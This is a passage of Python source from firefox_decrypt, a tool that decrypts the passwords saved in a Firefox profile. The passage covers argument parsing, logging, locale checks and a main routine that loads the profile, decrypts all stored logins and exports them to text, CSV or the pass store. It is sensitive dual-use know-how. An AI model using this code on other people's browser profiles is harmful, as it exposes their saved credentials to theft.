1001 | "--format", 1002 | action=ConvertChoices, 1003 | choices=format_choices, 1004 | default=HumanOutputFormat, 1005 | help="Format for the output.", 1006 | ) 1007 | parser.add_argument( 1008 | "-d", 1009 | "--csv-delimiter", 1010 | action="store", 1011 | default=";", 1012 | help="The delimiter for csv output", 1013 | ) 1014 | parser.add_argument( 1015 | "-q", 1016 | "--csv-quotechar", 1017 | action="store", 1018 | default='"', 1019 | help="The quote char for csv output", 1020 | ) 1021 | parser.add_argument( 1022 | "--no-csv-header", 1023 | action="store_false", 1024 | dest="csv_header", 1025 | default=True, 1026 | help="Do not include a header in CSV output.", 1027 | ) 1028 | parser.add_argument( 1029 | "--pass-username-prefix", 1030 | action="store", 1031 | default="", 1032 | help=( 1033 | "Export username as is (default), or with the provided format prefix. " 1034 | "For instance 'login: ' for browserpass." 1035 | ), 1036 | ) 1037 | parser.add_argument( 1038 | "-p", 1039 | "--pass-prefix", 1040 | action="store", 1041 | default="web", 1042 | help="Folder prefix for export to pass from passwordstore.org (default: %(default)s)", 1043 | ) 1044 | parser.add_argument( 1045 | "-m", 1046 | "--pass-cmd", 1047 | action="store", 1048 | default="pass", 1049 | help="Command/path to use when exporting to pass (default: %(default)s)", 1050 | ) 1051 | parser.add_argument( 1052 | "--pass-always-with-login", 1053 | action="store_true", 1054 | help="Always save as / (default: only when multiple accounts per domain)", 1055 | ) 1056 | parser.add_argument( 1057 | "-n", 1058 | "--no-interactive", 1059 | action="store_false", 1060 | dest="interactive", 1061 | default=True, 1062 | help="Disable interactivity.", 1063 | ) 1064 | parser.add_argument( 1065 | "--non-fatal-decryption", 1066 | action="store_true", 1067 | default=False, 1068 | help="If set, corrupted entries will be skipped instead of aborting the process.", 1069 | ) 1070 | parser.add_argument( 1071 | "-c", 1072 | "--choice", 1073 | help="The profile to use (starts with 1). If only one profile, defaults to that.", 1074 | ) 1075 | parser.add_argument( 1076 | "-l", "--list", action="store_true", help="List profiles and exit." 1077 | ) 1078 | parser.add_argument( 1079 | "-e", 1080 | "--encoding", 1081 | action="store", 1082 | default=DEFAULT_ENCODING, 1083 | help="Override default encoding (%(default)s).", 1084 | ) 1085 | parser.add_argument( 1086 | "-v", 1087 | "--verbose", 1088 | action="count", 1089 | default=0, 1090 | help="Verbosity level. Warning on -vv (highest level) user input will be printed on screen", 1091 | ) 1092 | parser.add_argument( 1093 | "--version", 1094 | action="version", 1095 | version=__version__, 1096 | help="Display version of firefox_decrypt and exit", 1097 | ) 1098 | 1099 | args = parser.parse_args() 1100 | 1101 | # understand `\t` as tab character if specified as delimiter. 1102 | if args.csv_delimiter == "\\t": 1103 | args.csv_delimiter = "\t" 1104 | 1105 | return args 1106 | 1107 | 1108 | def setup_logging(args) -> None: 1109 | """Setup the logging level and configure the basic logger""" 1110 | if args.verbose == 1: 1111 | level = logging.INFO 1112 | elif args.verbose >= 2: 1113 | level = logging.DEBUG 1114 | else: 1115 | level = logging.WARN 1116 | 1117 | logging.basicConfig( 1118 | format="%(asctime)s - %(levelname)s - %(message)s", 1119 | level=level, 1120 | ) 1121 | 1122 | global LOG 1123 | LOG = logging.getLogger(__name__) 1124 | 1125 | 1126 | def identify_system_locale() -> str: 1127 | encoding: Optional[str] = locale.getpreferredencoding() 1128 | 1129 | if encoding is None: 1130 | LOG.error( 1131 | "Could not determine which encoding/locale to use for NSS interaction. " 1132 | "This configuration is unsupported.\n" 1133 | "If you are in Linux or MacOS, please search online " 1134 | "how to configure a UTF-8 compatible locale and try again." 1135 | ) 1136 | raise Exit(Exit.BAD_LOCALE) 1137 | 1138 | return encoding 1139 | 1140 | 1141 | def main() -> None: 1142 | """Main entry point""" 1143 | args = parse_sys_args() 1144 | 1145 | setup_logging(args) 1146 | 1147 | global DEFAULT_ENCODING 1148 | 1149 | if args.encoding != DEFAULT_ENCODING: 1150 | LOG.info( 1151 | "Overriding default encoding from '%s' to '%s'", 1152 | DEFAULT_ENCODING, 1153 | args.encoding, 1154 | ) 1155 | 1156 | # Override default encoding if specified by user 1157 | DEFAULT_ENCODING = args.encoding 1158 | 1159 | LOG.info("Running firefox_decrypt version: %s", __version__) 1160 | LOG.debug("Parsed commandline arguments: %s", args) 1161 | encodings = ( 1162 | ("stdin", sys.stdin.encoding), 1163 | ("stdout", sys.stdout.encoding), 1164 | ("stderr", sys.stderr.encoding), 1165 | ("locale", identify_system_locale()), 1166 | ) 1167 | 1168 | LOG.debug( 1169 | "Running with encodings: %s: %s, %s: %s, %s: %s, %s: %s", *chain(*encodings) 1170 | ) 1171 | 1172 | for stream, encoding in encodings: 1173 | if encoding.lower() != DEFAULT_ENCODING: 1174 | LOG.warning( 1175 | "Running with unsupported encoding '%s': %s" 1176 | " - Things are likely to fail from here onwards", 1177 | stream, 1178 | encoding, 1179 | ) 1180 | 1181 | # Load Mozilla profile and initialize NSS before asking the user for input 1182 | moz = MozillaInteraction(args.non_fatal_decryption) 1183 | 1184 | basepath = os.path.expanduser(args.profile) 1185 | 1186 | # Read profiles from profiles.ini in profile folder 1187 | profile = get_profile(basepath, args.interactive, args.choice, args.list) 1188 | 1189 | # Start NSS for selected profile 1190 | moz.load_profile(profile) 1191 | # Check if profile is password protected and prompt for a password 1192 | moz.authenticate(args.interactive) 1193 | # Decode all passwords 1194 | outputs = moz.decrypt_passwords() 1195 | 1196 | # Export passwords into one of many formats 1197 | formatter = args.format(outputs, args) 1198 | formatter.output() 1199 | 1200 | # Finally shutdown NSS 1201 | moz.unload_profile() 1202 | 1203 | 1204 | def run_ffdecrypt(): 1205 | try: 1206 | main() 1207 | except KeyboardInterrupt: 1208 | print("Quit.") 1209 | sys.exit(Exit.KEYBOARD_INTERRUPT) 1210 | except Exit as e: 1211 | sys.exit(e.exitcode) 1212 | 1213 | 1214 | if __name__ == "__main__": 1215 | run_ffdecrypt() 1216 | --------------------------------------------------------------------------------